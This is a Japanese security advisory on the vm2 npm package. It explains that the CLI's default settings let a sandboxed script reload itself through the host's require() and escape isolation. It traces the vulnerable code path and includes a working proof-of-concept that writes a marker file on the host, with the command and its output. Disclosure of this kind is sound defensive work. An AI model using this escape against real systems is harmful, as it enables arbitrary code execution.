vm2のコマンドラインツールは、サンドボックスによる隔離機能を提供していません。ホスト環境の`require()`関数が、サンドボックス内のスクリプトからアクセス可能です。
### 概要
`npm install -g vm2`でインストールされ、READMEの「CLI」セクションに記載されている`vm2`コマンドラインツールは、`NodeVM`を使用して指定されたスクリプトを実行します。この際、`require:{external:true}`が設定され、`root`、`context`、`builtin`は設定されていません。これらのデフォルト設定により、リレーティブまたは絶対パスの`require()`ターゲットは、**ホスト**環境の`require()`関数を通じてロードされます。これにより、攻撃者のモジュールのコードが、結果がサンドボックスにプロキシされる前に、ホストのNode.jsプロセスで実行されます。`vm2 ./script.js`に渡された攻撃者が制御する単一のファイルは、`require(__filename)`を呼び出すことで、ホスト環境で自身を再実行し、`fs`や`child_process`などの機能にアクセスできます。したがって、ドキュメントに記載されているサンドボックスランナーは、`node ./script.js`と実質的に同じです。追加のファイル、フラグ、またはユーザーの操作は必要ありません。
### 詳細
この脆弱性により、**悪意のあるサンドボックス内のスクリプト**(ドキュメントに記載されている`vm2 <file>`コマンドラインツールのファイル引数)が、**ホストのNode.jsプロセス**で任意のコードを実行し、vm2が本来提供するサンドボックスとホスト環境の境界を越えてしまう可能性があります。
#### 脆弱なコードパス
1. **起点** - `bin/vm2:3` → `lib/cli.js:7-18`. `process.argv[2]` は、攻撃者が作成したスクリプトのパスです。CLI(コマンドラインインターフェース)は、以下のコードを実行します。
```js
NodeVM.file(path, { verbose: true, require: { external: true } });
```
`require.root`、`require.context`、および `require.builtin` は使用されません。
2. **ステップ** - `lib/nodevm.js:618-636`. `NodeVM.file` はファイルを読み込み、`new NodeVM(options).run(body, resolvedFilename)` を呼び出します。
3. **ステップ** - `lib/nodevm.js:335` → `lib/resolver-compat.js:205-266` (`makeResolverFromLegacyOptions`). `external:true`、`rootPaths=undefined`、`hostRequire=defaultRequire` (218行目)、`context='host'` (デフォルト、219行目) が展開されます。`typeof externalOpt !== 'object'` (265行目) であるため、`checkedRootPaths=undefined` および `pathContext = () => 'host'` (263行目) を持つ `CustomResolver` が返されます。
4. **ステップ** - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). サンドボックス内の `require(id)` は、`resolver.resolve(...)` ( `lib/nodevm.js:380-383`) を経て解決されます。`lib/resolver.js:244-275` が絶対パス/相対パスを処理し、`lib/resolver.js:327-329` の `tryFile` は `this.isPathAllowed(x)` によって制御されます。
5. **障壁(ギャップ)** - `lib/resolver-compat.js:53-54`:
```js
isPathAllowed(filename) {
if (this.rootPaths === undefined) return true;
```
`root` が設定されていない場合、**すべての**ファイルシステムパスが許可されます。`checkAccess` (`lib/resolver.js:39-42`) は、同じメソッドに委譲されます。
6. **最終地点** - `lib/resolver-compat.js:74-77`:
```js
loadJS(vm, mod, filename) {
if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...);
const m = this.hostRequire(filename); // ← host-realm require()
mod.exports = vm.readonly(m);
}
```
`hostRequire` は `defaultRequire` (`lib/resolver-compat.js:20-23`) であり、これは実際のホストの `require()` です。 読み込まれたモジュールの**トップレベルのコードが、`vm.readonly()` によるラップが行われる前に、ホストの環境で実行されます**。このラップは、副作用を制限するのに間に合いません。`loadNode` (`lib/resolve`
r-compat.js:80-83) は、
`.node` ネイティブアドオン (ホスト側での `process.dlopen`) と同じです。
### 実証コード
以下の内容を `/tmp/poc.js` として保存します。
```js
'use strict';
try {
// ホスト環境: fs が利用可能 - 監視ファイルを作成し、そこで停止します。
const fs = require('fs');
fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n');
console.log('HOST 環境: /tmp/vm2.proof を書き込みました');
} catch (e) {
// サンドボックス環境: require('fs') が ENOTFOUND エラーを発生させた。このファイルを再読み込みします -
// CLI リゾルバーは、ホスト側の require() を使用して読み込みます (resolver-compat.js:76)。
console.log('sandbox 環境: fs がブロックされました (' + e.message + ')。エスケープします');
require(__filename);
}
```
README に記載されている方法で、以下のコマンドを実行します。
```sh
node ./bin/vm2 /tmp/poc.js # または `vm2 /tmp/poc.js` (事前に `npm i -g vm2` を実行した場合)
```
出力結果:
```
sandbox 環境: fs がブロックされました (Cannot find module 'fs'); エスケープします
HOST 環境: /tmp/vm2.proof を書き込みました
```
`/tmp/vm2.proof` ファイルが存在し、サンドボックスによって `require('fs')` がブロックされたスクリプトから `fs.writeFileSync` によって書き込まれています。最初の行は境界が存在することを証明し、2番目の行はそれが突破されたことを証明します。
### 影響
README の CLI セクションに従い、`vm2 ./untrusted.js` を攻撃者が提供したファイルに対して実行すると、**そのユーザーとして任意のコードが実行される**可能性があります。この構成では、サンドボックスによる隔離は提供されません。影響範囲は、ホスト側の Node.js プロセス全体です。具体的には、`fs`、`child_process`、`process.dlopen`、ネットワーク、環境などが影響を受けます。
影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響を受けるバージョンは 3.11.6 以前、3.11.7 で修正済み。